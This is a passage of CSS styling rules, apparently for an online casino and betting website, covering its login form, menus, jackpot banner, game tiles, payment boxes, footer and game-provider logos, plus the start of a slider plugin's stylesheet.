                top: -32px;
                width: 200px;
                height: 45px
            }

            .header-mdl__logo img {
                max-width: 100%;
                height: auto
            }

            .header-mdl__login {
                flex: 1 1 auto;
                display: flex;
                flex-direction: column;
                align-items: flex-end
            }

            .header-mdl__login-form {
                margin-bottom: 8px;
                display: flex
            }

            .header-mdl__login-form .form-group {
                position: relative;
                display: inline-block;
                vertical-align: middle
            }

            .header-mdl__login-form .form-group input {
                background-color: #fff;
                color: #0a0a0a;
                font-size: 14px;
                padding: 6px 12px;
                border: none;
                min-width: 180px;
                height: 32px;
                margin: 0 2px;
                box-sizing: border-box;
                font-family: Roboto, sans-serif
            }

            .header-mdl__login-form .form-group input:focus {
                outline: 0
            }

            .header-mdl__login-form .button {
                color: #212121;
                font-size: 14px;
                font-weight: 700;
                font-family: Roboto, sans-serif;
                padding: 7px 25px;
                text-transform: uppercase;
                letter-spacing: .25px;
                border: none;
                cursor: pointer;
                margin: 0 3px;
                -webkit-font-smoothing: antialiased
            }

            .header-mdl__login-form .button:hover {
                opacity: .8
            }

            .header-mdl__login-form .button:focus {
                outline: 0
            }

            .header-mdl__login-form .button:active {
                opacity: .2
            }

            .header-mdl__login-form .button--login {
                background-color: #1da0cb
            }

            .header-mdl__login-forgot {
                font-size: 11px;
                cursor: pointer
            }

            .header-menu {
                background-color: rgba(0, 0, 0, .08) 0px 0px 0px !important;
                box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);
                z-index: 99999999
            }

            .header-menu ul {
                display: flex
            }

            .header-menu ul li {
                text-align: center;
                position: static
            }

            .header-menu ul li:first-child a,
            .header-menu ul li:nth-child(2) a {
                padding: 10px 20px;
                display: grid
            }

            .header-menu .row-hot-games {
                display: flex
            }

            .header-menu ul li a {
                font-size: 14px;
                font-weight: 700;
                text-transform: uppercase;
                position: relative;
                display: block;
                padding: 10px 15px;
                letter-spacing: .25px;
                -webkit-font-smoothing: antialiased
            }

            .header-menu ul li a i {
                font-size: 18px
            }

            .header-menu ul li:hover .dropdown-menu {
                display: block
            }

            .header-menu ul li .dropdown-menu {
                position: absolute;
                right: 0;
                left: 0;
                z-index: 12;
                background-color: rgba(10, 10, 10, .9);
                box-shadow: 0 1px 3px rgba(10, 10, 10, .15);
                min-width: 1230px;
                width: 100%;
                display: none
            }

            .header-menu ul li .dropdown-menu__detail-list {
                display: inline-block;
                font-size: 0px
            }

            .header-menu ul li .dropdown-menu__detail-list .img-thumbnail {
                margin-bottom: 8px
            }

            .header-menu ul li .dropdown-menu__detail-list span {
                background-color: #1da0cb;
                border-color: #1da0cb;
                color: #212121;
                font-size: 11px;
                box-shadow: 0 1px 2px rgba(10, 10, 10, .3);
                padding: 6px 12px;
                display: block
            }

            .header-menu ul li .dropdown-menu__detail-list span:hover {
                opacity: .9
            }

            .header-menu ul li.active {
                border-bottom: 2px solid #1da0cb
            }

            .header-menu ul li.active a {
                color: #1da0cb
            }

            .slider {
                margin-bottom: -3px;
                position: relative;
                z-index: 2
            }

            .slider .marquee {
                position: absolute;
                top: 0;
                left: 0;
                right: 0;
                background: rgba(23, 19, 66, .5);
                height: 40px;
                display: flex;
                align-items: center;
                z-index: 9
            }

            .slider .marquee marquee {
                width: calc(100% - 22px);
                display: inline-block
            }

            .slider .marquee__bullhorn {
                display: inline-block
            }

            .slider .marquee__bullhorn i {
                font-size: 12px
            }

            .slider img {
                width: 100%;
                height: auto;
                margin-bottom: -4px
            }

            .slider .swiper-button-next,
            .slider .swiper-button-prev {
                color: rgba(255, 255, 255, .4)
            }

            .slider .swiper-button-next::after,
            .slider .swiper-button-prev::after {
                font-size: 32px
            }

            .slider .swiper-button-prev {
                left: 90px
            }

            .slider .swiper-button-next {
                right: 90px
            }

            .slider .swiper-pagination-bullet {
                width: 60px;
                height: 8px;
                background: rgba(255, 255, 255, .3);
                border-radius: 0
            }

            .slider .swiper-pagination-bullet-active {
                background: #fff
            }

            footer {
                padding: 8px 0
            }

            footer section {
                padding: 30px 0;
                border-bottom: 1px solid rgba(113, 123, 143, .2);
                display: flex;
                justify-content: center
            }

            footer .nav-bottom {
                font-size: 12px;
                flex-direction: column;
                align-items: center
            }

            footer .nav-bottom>ul li {
                opacity: .65;
                border-right: 2px solid #942d86
            }

            footer .nav-bottom li:last-child {
                border-right: none
            }

            footer .nav-bottom li a {
                color: #f8f8f8;
                font-weight: 400;
                font-size: 13px;
                -webkit-font-smoothing: antialiased
            }

            footer .nav-bottom li a:focus,
            footer .nav-bottom li a:hover {
                color: #1da0cb
            }

            footer .information {
                display: flex
            }

            footer .information__detail {
                flex: 1;
                padding: 0 15px;
                color: rgba(255, 255, 255, .9);
                letter-spacing: 1px
            }

            footer .information__detail .heading {
                text-transform: uppercase;
                margin-bottom: 30px
            }

            footer .information__detail p {
                color: #9f9eb1;
                font-size: 11px;
                -webkit-margin-before: 0;
                margin-block-start: 0;
                letter-spacing: 0
            }

            .sidebar__left {
                position: fixed;
                top: 25%;
                z-index: 99;
                cursor: pointer
            }

            .sidebar__right {
                position: fixed;
                top: 25%;
                right: 0;
                z-index: 99;
                cursor: pointer
            }

            .sidebar__right a.contact {
                position: absolute;
                right: 0;
                transition: .3s cubic-bezier(.18, .89, .32, 1.28);
                -webkit-transition: .3s cubic-bezier(.18, .89, .32, 1.28);
                -moz-transition: .3s cubic-bezier(.18, .89, .32, 1.28);
                -ms-transition: .3s cubic-bezier(.18, .89, .32, 1.28);
                -o-transition: .3s cubic-bezier(.18, .89, .32, 1.28)
            }

            .sidebar__right ul::-webkit-scrollbar {
                display: none
            }

            .sidebar__right ul {
                position: absolute;
                right: -235px;
                margin-top: 0;
                width: 235px;
                height: 240px;
                display: block;
                transition: .3s cubic-bezier(.18, .89, .32, 1.28);
                overflow: scroll;
                -ms-overflow-style: none;
                scrollbar-width: none
            }

            .sidebar__right ul li {
                padding: 12px
            }

            .sidebar__right ul li a {
                color: #171342
            }

            .sidebar__right ul li a i {
                margin-right: 8px
            }

            .sidebar__right ul li:hover {
                background-color: #cdcbcb
            }

            .sidebar__right ul li:hover a {
                color: #1da0cb
            }

            .sidebar__right:hover a.contact {
                right: 235px
            }

            .sidebar__right:hover ul {
                right: 0
            }

            .modal-forgot {
                background-color: rgba(255, 255, 255, .9);
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                z-index: 9999999;
                display: none
            }

            .modal-forgot__dialog {
                max-width: 450px;
                background-color: #e9e9ed;
                color: #464a4c;
                box-shadow: 0 0 50px 10px rgba(10, 10, 10, .25);
                margin: auto;
                position: relative;
                top: 50%;
                -webkit-transform: translateY(-50%);
                transform: translateY(-50%)
            }

            .modal-forgot__dialog-header {
                padding: 15px;
                border-bottom: 1px solid rgba(128, 128, 128, .2);
                position: relative
            }

            .modal-forgot__dialog-header .forgot-title {
                text-align: center
            }

            .modal-forgot__dialog-header .forgot-close {
                position: absolute;
                right: 15px;
                top: 15px;
                cursor: pointer
            }

            .modal-forgot__dialog-header .forgot-close:active {
                opacity: .2
            }

            .modal-forgot__dialog-header .forgot-close i {
                font-size: 18px
            }

            .modal-forgot__dialog-body .img-container {
                width: 100%;
                display: flex;
                justify-content: center;
                margin-top: 24px
            }

            .modal-forgot__dialog-body .img-container img {
                max-width: 200px;
                margin: 0 auto;
                height: auto
            }

            .modal-forgot__dialog-body form {
                padding: 24px 12px 48px
            }

            .modal-forgot__dialog-body form .form-container .form-group {
                display: flex;
                flex-direction: column;
                padding: 12px 0;
                position: relative
            }

            .modal-forgot__dialog-body form .form-container .form-group .form-control {
                padding: 11px 8px;
                font-size: 14px;
                height: 40px;
                box-sizing: border-box;
                border: none;
                background-color: #fff
            }

            .modal-forgot__dialog-body form .form-container .form-group .form-control:focus {
                outline: 0
            }

            .modal-forgot__dialog-body form .form-container .form-group .icon {
                position: absolute;
                top: 22px;
                right: 12px
            }

            .modal-forgot__dialog-body form .form-container .form-group .icon i {
                font-size: 16px
            }

            .modal-forgot__dialog-body form .button {
                margin: 0 auto;
                width: 180px;
                display: block;
                padding: 12px 16px;
                font-size: 16px;
                line-height: 1.33333;
                border-radius: 0;
                cursor: pointer;
                box-sizing: border-box;
                text-align: center
            }

            .modal-forgot__dialog-body form .button:focus {
                outline: 0
            }

            .modal-forgot__dialog-body form .button:active {
                opacity: .2
            }

            .modal-forgot__dialog-body form .button--submit {
                color: #212121;
                background-color: #e3a43b;
                border-color: #e3a43b;
                margin-top: 16px
            }

            .header-menu ul li .dropdown-menu a {
                transition: .3s;
                border-radius: 4px
            }

            .header-menu ul li .dropdown-menu a:focus,
            .header-menu ul li .dropdown-menu a:hover {
                background: 0 0;
                background: radial-gradient(ellipse at center, rgba(29, 160, 203, .5) 0, transparent 70%)
            }

            .text-center {
                text-align: center
            }

            .modal-login__dialog-body .button2 {
                color: #212121;
                background-color: #1da0cb;
                border-color: #1da0cb
            }

            .modal-login__dialog-body .button-forget {
                color: #1da0cb;
                display: block;
                margin: 20px 0
            }

            .modal-login {
                background-color: rgba(255, 255, 255, .9);
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                z-index: 9999999;
                display: none;
                overflow: auto
            }

            .modal-login__dialog {
                max-width: 650px;
                background-color: #e9e9ed;
                color: #464a4c;
                box-shadow: 0 0 50px 10px rgba(10, 10, 10, .25);
                margin: auto;
                position: relative;
                top: 50%;
                -webkit-transform: translateY(-50%);
                transform: translateY(-50%)
            }

            .modal-login__dialog-header {
                padding: 15px;
                border-bottom: 1px solid rgba(128, 128, 128, .2);
                position: relative
            }

            .modal-login__dialog-header .header-title {
                text-align: center
            }

            .modal-login__dialog-header .header-close {
                position: absolute;
                right: 15px;
                top: 15px;
                cursor: pointer
            }

            .modal-login__dialog-header .header-close:active {
                opacity: .2
            }

            .modal-login__dialog-header .header-close i {
                font-size: 18px
            }

            .modal-login__dialog-body .img-container {
                width: 100%;
                display: flex;
                justify-content: center;
                margin-top: 24px
            }

            .modal-login__dialog-body .img-container img {
                max-width: 200px;
                margin: 0 auto;
                height: auto
            }

            .modal-login__dialog-body form {
                padding: 24px 24px 48px
            }

            .modal-login__dialog-body form .form-container {
                display: flex;
                flex-direction: column
            }

            .modal-login__dialog-body form .form-container .form-input {
                flex: 1
            }

            .modal-login__dialog-body form .form-container .form-input .form-group {
                display: flex;
                flex-direction: column;
                padding: 12px;
                position: relative
            }

            .modal-login__dialog-body form .form-container .form-input .form-group .form-control {
                padding: 11px 8px;
                font-size: 14px;
                height: 40px;
                box-sizing: border-box;
                border: none;
                background-color: #fff
            }

            .modal-login__dialog-body form .form-container .form-input .form-group .form-control:focus {
                outline: 0
            }

            .modal-login__dialog-body form .button {
                margin: 0 auto;
                width: 180px;
                display: block;
                padding: 12px 16px;
                font-size: 16px;
                line-height: 1.33333;
                border-radius: 0;
                cursor: pointer;
                box-sizing: border-box;
                text-align: center
            }

            .modal-login__dialog-body form .button:focus {
                outline: 0
            }

            .modal-login__dialog-body form .button:active {
                opacity: .2
            }

            .modal-login__dialog-body form .button--register {
                color: #212121;
                background-color: #e3a43b;
                border-color: #e3a43b
            }

            .modal {
                z-index: 1050 !important
            }

            .modal-content {
                background-color: #e6e5e5
            }

            .modal {
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                overflow-x: hidden;
                overflow-y: auto;
                display: none
            }

            .modal__box {
                max-width: 45%;
                margin: 2% auto;
                transition: all ease .3s
            }

            @media only screen and (max-width:732px) {
                .modal__box {
                    max-width: 96%;
                    margin: 2% auto
                }
            }

            @media only screen and (max-width:475px) {
                .modal__box {
                    max-width: 100%;
                    margin: 0
                }
            }

            .modal__content {
                position: relative;
                background-color: #e6e5e5;
                color: #292b2c;
                background-clip: padding-box;
                border: 1px solid rgba(0, 0, 0, .2);
                border-radius: .3rem;
                outline: 0
            }

            .modal__content .notif-header {
                padding: 15px;
                position: relative
            }

            .modal__content .notif-header__title {
                font-size: 24px;
                text-align: center
            }

            .modal__content .notif-header__close {
                position: absolute;
                top: 0;
                right: 0;
                width: 40px;
                height: 40px;
                background-color: #171342;
                display: flex;
                justify-content: center;
                align-items: center;
                cursor: pointer
            }

            .modal__content .notif-header__close:active {
                opacity: .2
            }

            .modal__content .notif-header__close img {
                width: 16px;
                height: auto
            }

            .modal__content .notif-body {
                padding: 0 24px 24px
            }

            .modal-notification {
                background: rgba(0, 0, 0, .5)
            }

            #showM {
                display: none
            }

            .modal-forgot__dialog-body .img-container img,
            .modal-login__dialog-body .img-container img {
                -webkit-filter: brightness(0%);
                filter: brightness(0%)
            }

            body {
                background-color: #141126
            }

            .header-mdl__logo {
                top: -27px
            }

            .header-mdl__logo img {
                height: 80px;
                width: auto;
                max-width: none
            }

            .header-menu ul li a {
                color: #101010
            }

            .header-menu ul li.active {
                border-color: #fff
            }

            .header-menu ul li.active a {
                color: #fff
            }

            .header-menu ul li:hover {
                background-color: #000
            }

            .header-menu ul li:hover a {
                color: #fff
            }

            .header-menu ul li .dropdown-menu__detail-list span {
                background-color: #942d86
            }

            .header-mdl__login-form .button--login {
                background-color: #6a6a6a;
                color: #fff
            }

            .slider .marquee {
                background: rgba(0, 0, 0, .5)
            }

            .sidebar__right ul li:hover a {
                color: #2b0334
            }

            .sidebar__right ul {
                border-width: 0
            }

            footer .information {
                gap: 15px
            }

            footer .information__detail {
                padding: 0
            }

            footer .information__detail .heading {
                font-size: 14px
            }

            footer .information__detail .subheading {
                margin: 10px 0;
                font-size: 14px;
                font-weight: 400
            }

            footer {
                border-top: 0
            }

            .header-menu,
            .header-menu ul li .dropdown-menu__detail-list span {
                color: #fff
            }

            .header-menu ul li a {
                color: #fff
            }

            .header-menu ul li a .text-gold {
                color: #f99c2aff
            }

            .header-menu .hot {
                width: 20px;
                height: 20px;
                margin-left: 6px
            }

            .benefits.jackpot-home {
                padding: 0;
                padding: 20px 0
            }

            .progressive-jackpot {
                background: center no-repeat;
                background-size: 100% 100%;
                background-image: url(/assets/img/progressive-jackpot.png);
                background-image: url(/assets/img/progressive-jackpot.webp);
                font-family: Quantico, sans-serif;
                font-weight: 700;
                font-size: 42px;
                line-height: 90px;
                color: #fff;
                text-align: center;
                width: 1200px;
                height: 186px;
                -webkit-font-smoothing: antialiased
            }

            .progressive-jackpot .jackpot-container {
                padding: 52px 95px 0 495px;
                letter-spacing: 3px
            }

            .progressive-jackpot .jackpot-currency {
                color: #942d86;
                margin-right: 10px;
                display: inline-block;
                text-align: right
            }

            .progressive-jackpot .jackpotNumber {
                display: inline-block;
                text-align: left
            }

            .home-games {
                margin-top: 30px
            }

            .home-games:first-child {
                margin-top: 0
            }

            .home-games>.title {
                display: flex;
                justify-content: space-between;
                margin-bottom: 8px
            }

            .home-games>.title span {
                font-weight: 500;
                font-size: 26px
            }

            .home-games>.title span .text-white {
                color: #ecececff
            }

            .home-games .wrapper-line {
                flex: 1 1 0%;
                place-self: center;
                padding: 0 20px
            }

            .home-games .wrapper-line .line {
                border-top: 1px solid #272426;
                width: 100%
            }

            .home-games>.title a {
                color: #fff;
                font-size: 12px;
                font-weight: 700;
                padding: 5px 15px;
                border-radius: 20px;
                align-self: center
            }

            .home-games>.title a:hover {
                background-color: #222;
                color: #fff
            }

            .home-games>.game-items {
                display: flex;
                gap: 10px
            }

            .home-games>.game-items>.box {
                cursor: pointer;
                text-align: center;
                z-index: 2;
                color: #fff;
                width: calc(100% / 6 - 5px);
                border-radius: 15px;
                padding: 6px;
                padding-bottom: 10px
            }

            .home-games>.game-items>.box>span {
                padding-top: 10px;
                display: block;
                color: #fff;
                text-transform: uppercase
            }

            .home-games>.game-items>.box>.box-item {
                overflow: hidden;
                position: relative;
                border-radius: 10px
            }

            .home-games>.game-items>.box>.box-item button {
                background-color: #942d86;
                padding: 10px;
                border: none;
                color: #fff;
                border-radius: 20px;
                position: absolute;
                width: 80%;
                top: 50%;
                left: 50%;
                text-transform: uppercase;
                -webkit-transform: translate(-50%, -50%);
                transform: translate(-50%, -50%);
                box-shadow: 0 0 10px 0 rgb(10 10 10 / 50%);
                cursor: pointer;
                z-index: 1;
                transition: opacity .2s ease-in-out
            }

            .home-games>.game-items>.box>.box-item>span {
                position: absolute;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, .8);
                display: none;
                z-index: 1
            }

            .home-games>.game-items>.box>.box-item img {
                max-width: 100%;
                height: auto;
                transition: -webkit-transform .2s ease-in-out;
                transition: transform .2s ease-in-out;
                transition: transform .2s ease-in-out, -webkit-transform .2s ease-in-out
            }

            .home-games>.game-items>.box:hover>.box-item span {
                display: block
            }

            .home-games>.game-items>.box:hover>.box-item img {
                -webkit-transform: scale(1.25);
                transform: scale(1.25)
            }

            .services {
                margin-top: 30px
            }

            .services .wrapper {
                display: flex;
                gap: 15px;
                margin-bottom: 25px
            }

            .services .box {
                flex: 1;
                overflow: hidden
            }

            .services .box.half {
                flex: 1 0 7%
            }

            .services .box h4 {
                margin: 0 0 15px;
                text-transform: uppercase;
                font-size: 26px;
                color: #942d86;
                font-weight: 500
            }

            .services .box h4 .text-white {
                color: #ecececff
            }

            .box-item .box-title .text-white {
                color: #cececeff
            }

            .box-item .box-title .text-color {
                color: #942d86
            }

            .box-item .box-hr {
                border-color: #942d86;
                height: 0;
                border-top: 0
            }

            .box-item .box-row-title {
                display: flex;
                align-items: flex-end
            }

            .box-item .box-title {
                height: 34px;
                flex-grow: 1;
                margin: 0;
                overflow: hidden;
                font-size: 26px;
                font-weight: 500;
                text-transform: none;
                text-align: left;
                letter-spacing: 0;
                line-height: 34px;
                white-space: pre-line;
                opacity: 1;
                visibility: visible;
                display: flex;
                align-items: center
            }

            .payment-method .box-item {
                border-radius: 15px;
                background-color: #380940;
                padding: 18px
            }

            .payment-method .box-item .list-wrapper {
                display: flex;
                gap: 16px
            }

            .payment-method .box-item .button-pay {
                display: flex;
                align-items: center;
                box-sizing: border-box;
                overflow: hidden;
                outline: 0;
                cursor: inherit;
                width: 100%;
                height: 58px;
                opacity: 1;
                border-radius: 5px;
                box-shadow: rgba(3, 3, 3, .1) 0 0 10px;
                border: none;
                padding: 0 30px;
                gap: 16px
            }

            .payment-method .box-item .button-pay .icon {
                width: auto;
                height: 32px;
                display: block
            }

            .payment-method .box-item .button-pay .text {
                text-align: left;
                line-height: 2.3px;
                font-size: 12px
            }

            .payment-method .box-item .button-pay .text .text-title {
                color: #fff;
                font-weight: 700;
                white-space: nowrap;
                -webkit-font-smoothing: antialiased
            }

            .payment-method .box-item .button-pay .text .text-description {
                color: #cdcdcd;
                white-space: nowrap;
                font-size: 10px
            }

            .payment-method .box-item .information-pay {
                font-size: 12px;
                align-items: center;
                display: flex;
                height: 64px;
                gap: 12px
            }

            .payment-method .box-item .information-pay .icon {
                width: auto;
                height: 32px;
                opacity: .6
            }

            .payment-method .box-item .information-pay .text {
                text-align: left;
                line-height: 4px
            }

            .payment-method .box-item .information-pay .text .text-title {
                color: #bababa;
                font-weight: 600;
                white-space: nowrap
            }

            .payment-method .box-item .information-pay .text .text-description {
                color: #bababa;
                font-weight: 600;
                white-space: nowrap
            }

            .services .box-item {
                border-radius: 15px;
                background-color: #380940;
                padding: 18px;
                height: 262px
            }

            .services .box-item.download {
                text-align: center
            }

            .services .box-item .deposit-withdraw {
                display: grid;
                gap: 15px
            }

            .services .box-item .deposit-withdraw .card {
                padding: 16px 9px;
                background-color: #141126;
                box-shadow: 0 4px 24px 1px rgba(0, 0, 0, .15);
                border-radius: 10px;
                width: calc(100% / 1.04)
            }

            .services .box-item .deposit-withdraw .card .card-header {
                display: flex;
                gap: 15px;
                align-items: center
            }

            .services .box-item .deposit-withdraw .card .card-header .title {
                font-weight: 600;
                font-size: 13px
            }

            .services .box-item .deposit-withdraw .card .circle-wrp {
                padding: 0;
                font-size: 30px;
                vertical-align: middle;
                background: #444242;
                border-radius: 100%;
                width: 62px;
                height: 48px;
                display: grid;
                align-items: center;
                justify-items: center;
                margin-right: 5px
            }

            .services .box-item .deposit-withdraw .card .text-wrp {
                width: 100%
            }

            .services .box-item .deposit-withdraw .text-note {
                font-style: italic;
                text-align: center;
                font-size: 12px;
                line-height: 2.5
            }

            .services .box-item .deposit-withdraw .card .text-wrp .text-row {
                display: flex;
                flex-direction: row;
                align-content: stretch;
                justify-content: space-between;
                align-items: center
            }

            .services .box-item .deposit-withdraw .card .circle-wrp .ring {
                padding: 0;
                background: #141126;
                width: 46px;
                height: 46px;
                border-radius: 100%;
                display: grid;
                align-items: center;
                justify-items: center
            }

            .services .box-item .deposit-withdraw .card .circle-wrp .ring .icon {
                width: 100%;
                height: 100%
            }

            .services .box .deposit-withdraw .card .text-time-new {
                text-align: left;
                padding-bottom: 0;
                font-size: 18px;
                font-weight: 800
            }

            .services .box .deposit-withdraw .card .text-time-new span {
                font-size: 30px
            }

            .services .box .deposit-withdraw .card .progress {
                background: #2f285b;
                border-radius: 10px;
                height: 6px
            }

            .services .box .deposit-withdraw .card .progress-bar {
                background: #942d86;
                border-radius: 10px;
                height: 6px;
                position: relative
            }

            .services .box .deposit-withdraw .card .progress-bar::before {
                content: "";
                display: inline-block;
                width: 12px;
                height: 12px;
                border-radius: 7.5px;
                background-color: #942d86;
                position: absolute;
                right: -1px;
                top: -3px
            }

            .services .box .member-service {
                font-size: 17px
            }

            .services .box .member-service .swiper-wrapper {
                min-height: 262px;
                border-radius: 15px;
                -webkit-border-radius: 15px;
                -moz-border-radius: 15px;
                -ms-border-radius: 15px;
                -o-border-radius: 15px
            }

            .services .box .member-service .swiper-slide {
                display: flex;
                flex-direction: column;
                gap: 0
            }

            .services .box .member-service a {
                display: flex;
                align-items: center;
                gap: 10px;
                border: 0 solid #942d86;
                border-radius: 14px
            }

            .services .box .member-service i {
                font-size: 25px;
                width: 2em;
                line-height: 2em;
                text-align: center;
                color: #fff
            }

            .services .box .member-service span {
                color: #fff
            }

            .services .box .download a {
                float: right
            }

            .services .box .download a img {
                margin-top: 0
            }

            footer .row-end-footer {
                display: grid;
                grid-template-columns: repeat(3, minmax(0, 1fr));
                gap: 12px
            }

            footer .row-end-footer .box-copyright {
                align-self: end;
                text-align: -webkit-center
            }

            footer .row-end-footer .box-copyright .text {
                font-size: 12px;
                text-transform: none;
                text-align: left;
                line-height: 18px;
                white-space: pre-line;
                color: #b9acbb;
                text-align: -webkit-center
            }

            footer .row-end-footer .box-information {
                display: flex;
                justify-content: space-between;
                align-items: center;
                flex-shrink: 1;
                flex-grow: 1;
                align-self: stretch;
                width: 100%;
                height: 64px;
                border-radius: 8px;
                box-shadow: rgba(3, 3, 3, .1) 0 2px 10px;
                border: 1px dashed #5d5d5d;
                position: relative
            }

            footer .row-end-footer .title-information {
                display: flex;
                align-items: center;
                justify-content: space-between;
                box-sizing: border-box;
                overflow: hidden;
                outline: 0;
                cursor: inherit;
                height: 36px;
                opacity: 1;
                border: 0;
                position: absolute;
                top: -19px;
                margin-left: 10px;
                width: calc(100% - 20px)
            }

            footer .row-end-footer .title-information .text-left {
                display: flex;
                align-items: center;
                padding: 0 8px;
                z-index: 1;
                width: 150px;
                background-color: #151515;
                border-radius: 8px;
                box-shadow: rgba(3, 3, 3, .1) 0 0 10px;
                justify-content: center;
                position: absolute;
                top: 10px;
                left: -4px
            }

            footer .row-end-footer .title-information .text-right {
                display: flex;
                align-items: center;
                padding: 0 8px;
                z-index: 1;
                width: 150px;
                background-color: #141126;
                border-radius: 8px;
                box-shadow: rgba(3, 3, 3, .1) 0 0 10px;
                justify-content: center;
                position: absolute;
                top: 10px;
                right: 6px
            }

            footer .row-end-footer .content {
                padding: 0 20px;
                display: flex;
                width: 100%;
                justify-content: space-between
            }

            footer .row-end-footer .content .left {
                width: 135px;
                display: flex;
                justify-content: space-between
            }

            footer .row-end-footer .content .right {
                width: 160px;
                display: flex;
                justify-content: space-between
            }

            footer .row-end-footer .content .left img {
                height: 30px;
                width: auto;
                -o-object-fit: contain;
                object-fit: contain
            }

            footer .row-end-footer .content .right img {
                width: auto;
                height: 30px;
                -o-object-fit: contain;
                object-fit: contain
            }

            .partner {
                padding: 35px 10px;
                border-bottom: 0
            }

            .partner .row {
                display: flex;
                justify-content: space-between
            }

            .partner span {
                display: block;
                font-size: 20px;
                margin-bottom: 15px;
                text-align: center;
                -webkit-font-smoothing: antialiased
            }

            .provider_group {
                margin: 8px 4px 8px 0;
                position: relative;
                border: 1px solid #2f2f2f;
                -mos-border-radius: 5px;
                border-radius: 5px;
                display: inline-block
            }

            .provider_group ul {
                padding: 6px 10px;
                list-style: none;
                margin-bottom: 0;
                margin-top: 10px;
                display: flex;
                flex-wrap: wrap;
                gap: 15px
            }

            .provider_group p {
                margin: 0;
                position: absolute;
                top: -10px;
                left: -3px;
                padding: 0 5px;
                font-weight: 700;
                background-color: #2f2f2fbf;
                font-size: 14px;
                border-radius: 5px
            }

            .provider_group ul li {
                display: inline-block;
                border: 0
            }

            .seo {
                margin-top: 20px
            }

            .welcome {
                margin-top: 40px;
                display: flex;
                width: 100%;
                place-content: center;
                align-items: center;
                gap: 26px
            }

            .welcome hr {
                width: 170px;
                border-color: #942d86;
                border-top: 0;
                height: 10px;
                border: 0;
                border-bottom: 1px solid #942d86
            }

            .welcome p {
                font-size: 21px;
                text-transform: uppercase
            }

            .welcome p .text-color {
                color: #942d86
            }

            .featured {
                padding: 0
            }

            .header-menu .wrapper {
                overflow: auto
            }

            .wa-icon {
                position: fixed;
                left: 20px;
                bottom: 20px;
                z-index: 99
            }

            .wa-icon img {
                max-width: 54px;
                height: auto
            }

            .button,
            .header-menu ul li .dropdown-menu__detail-list span {
                border-radius: 3px
            }

            .provider {
                background-image: url(/common/assets/images/provider.png);
                background-image: url(/common/assets/images/provider.webp);
                background-repeat: no-repeat;
                height: 30px;
                -webkit-filter: grayscale(0);
                filter: grayscale(0);
                opacity: 1;
                transition: .35s;
                display: block
            }

            .provider:hover {
                -webkit-filter: grayscale(0);
                filter: grayscale(0);
                opacity: 1
            }

            .provider-568win {
                width: 66px;
                background-position: -2px -2px
            }

            .provider-ag {
                width: 77px;
                background-position: -192px -2px
            }

            .provider-allbet {
                width: 77px;
                background-position: -273px -2px
            }

            .provider-balak {
                width: 130px;
                background-position: -2px -36px
            }

            .provider-cmd {
                width: 76px;
                background-position: -240px -36px
            }

            .provider-cq {
                width: 62px;
                background-position: -2px -70px
            }

            .provider-gp {
                width: 115px;
                background-position: -108px -104px
            }

            .provider-gss {
                width: 66px;
                background-position: -227px -104px
            }

            .provider-hb {
                width: 66px;
                background-position: -2px -138px
            }

            .provider-ibcbet {
                width: 66px;
                background-position: -72px -138px
            }

            .provider-ion {
                width: 115px;
                background-position: -2px -172px
            }

            .provider-joker {
                width: 66px;
                background-position: -121px -172px
            }

            .provider-ka {
                width: 80px;
                background-position: -191px -172px
            }

            .provider-live22 {
                width: 88px;
                background-position: -2px -206px
            }

            .provider-mg {
                width: 66px;
                background-position: -275px -172px
            }

            .provider-nex4d {
                width: 60px;
                background-position: -297px -104px
            }

            .provider-p2play {
                width: 113px;
                background-position: -228px -206px
            }

            .provider-p93 {
                width: 88px;
                background-position: -2px -240px
            }

            .provider-pgsoft {
                width: 66px;
                background-position: -94px -240px
            }

            .provider-playstar {
                width: 66px;
                background-position: -164px -240px
            }

            .provider-pp {
                width: 66px;
                background-position: -234px -240px
            }

            .provider-pt {
                width: 139px;
                background-position: -2px -274px
            }

            .provider-s88 {
                width: 66px;
                background-position: -145px -274px
            }

            .provider-sbobet {
                width: 66px;
                background-position: -285px -274px
            }

            .provider-sexy {
                width: 66px;
                background-position: -2px -308px
            }

            .provider-sg {
                width: 66px;
                background-position: -72px -308px
            }

            .provider-tangkas {
                width: 66px;
                background-position: -142px -308px
            }

            .provider-vp {
                width: 39px;
                background-position: -417px -36px
            }

            .provider-wb {
                width: 66px;
                background-position: -355px -70px
            }

            .home-games>.title span {
                font-size: 20px
            }

            .home-games>.title svg {
                width: 28px !important;
                height: 28px !important
            }

            .services .box h4 {
                font-size: 20px
            }

            .services .box h4 {
                margin: 0 18px 5px
            }

            .services .box .deposit-withdraw .card .progress {
                height: 5px;
                margin: 5px 0
            }

            .services .box .deposit-withdraw .card .progress-bar {
                height: 5px
            }

            .services .box .deposit-withdraw .card .progress-bar::before {
                top: -6px;
                width: 16px;
                height: 16px
            }

            .services .box-item .deposit-withdraw {
                gap: 4px
            }

            .services .box-item {
                height: 220px
            }

            .services .box .member-service .swiper-wrapper {
                min-height: 220px
            }

            .services .box .download a {
                position: absolute;
                bottom: 10px;
                right: 12px
            }

            .services .box-item.download {
                position: relative
            }

            .services .box .download a img {
                margin-top: 0;
                height: 45px;
                -o-object-fit: contain;
                object-fit: contain
            }

            .services .box.half {
                flex: 1
            }

            .services .box {
                flex: 1;
                overflow: hidden
            }

            .services .box-item.download img {
                width: 100%
            }

            .box-item .box-title {
                font-size: 20px
            }

            .services .box-item.download img {
                width: auto;
                height: 100%
            }

            .services .box .download a img {
                height: 40px
            }

            .services .box-item {
                height: 190px
            }

            .services .box .member-service .swiper-wrapper {
                min-height: 190px
            }

            .box-item.member-service .swiper-container {
                margin-left: auto;
                margin-right: auto;
                position: relative;
                overflow: hidden;
                list-style: none;
                padding: 0;
                z-index: 1;
                border-radius: 15px;
                height: 190px
            }

            .services .box .member-service i {
                font-size: 22px;
                width: 2em;
                line-height: 1.5em;
                text-align: center;
                color: #fff;
                padding-left: 4px
            }
        }

        /*! CSS Used from: /plugins/swiper/css/swiper.min.css */
        :root {
            --swiper-theme-color: #007aff
        }

        .swiper-container {
            margin-left: auto;
            margin-right: auto;
            position: relative;
            overflow: hidden;
            list-style: none;
            padding: 0;
            z-index: 1
        }

        .swiper-wrapper {
            position: relative;
            width: 100%;
            height: 100%;
            z-index: 1;
            display: flex;
            transition-property: -webkit-transform;
